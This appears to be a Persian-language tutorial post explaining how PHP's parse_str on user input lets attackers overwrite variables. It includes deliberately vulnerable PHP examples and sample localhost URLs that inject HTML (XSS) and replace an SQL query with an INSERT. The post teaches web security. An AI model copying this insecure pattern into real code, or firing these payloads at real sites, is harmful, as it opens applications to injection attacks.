با سلام .
این باگ ناشی از تابع [برای مشاهده لینک ها شما باید عضو سایت باشید ] در PHP هست .
کار تابع parse_str اینه که متغیر ها و آرایه هایی رو در یک استرینگ که به سبک Url نوشته شده تعریف کرد .
به این صورت :
کد PHP:
<?php
parse_str('var1=Hello There&var2=Im ....&arr[]=22&arr[]=23');
echo $var1." ".$var2; // Output Hello There Im ....
echo "</br>";
echo $arr[0]+$arr[1]; // Output 45 (22+23)
?>
خوب باگ Possible Flow Control به این صورت هست که ما یک ورودی که از کاربر گرفته میشه رو در تابع
parse_str قرار بدیم .
خوب معلومه که مقدار تمام متغیر ها دست کاربر قرار میگیره .
بهره هایی که میشه از این باگ برد .
XSS
SQLi
Include و ....
چند تا مثال میزنیم و تمام ....
----------------------------------------
XSS :
کد PHP:
<?php
if(isset($_GET['error']) and isset($_GET['vars'])) {
$message=htmlspecialchars($_GET['error']);
parse_str($_GET['vars']);echo
$message;}
?>خوب کاربر عزیز به این صورت کاملا میتونه امنیت رو دور بزنه 
کد:
localhost/pfc.php?error=23&vars=message=<h1>Hello There</h1>
-----------------------------------------------
در SQLi
اگر به این صورت باشه .
کد PHP:
<?php
$con=mysqli_coect('localhost','user','pass','db');
$id=(int)$_GET['id'];
$sql='Select * From news where id='.$_GET['id'];
parse_str($_GET['vars']);
$query=mysqli_query($con,$sql);
while($i=mysqli_fetch_array($query)) {
echo $i['content'];
}
?>
| id | content | title |
کد:
localhost/pfc.php?id=23&vars=sql=insert into news values(1,'s','d')
موفق باشید.
- - , .
برچسب:
نویسنده: محمد رضا جوادیان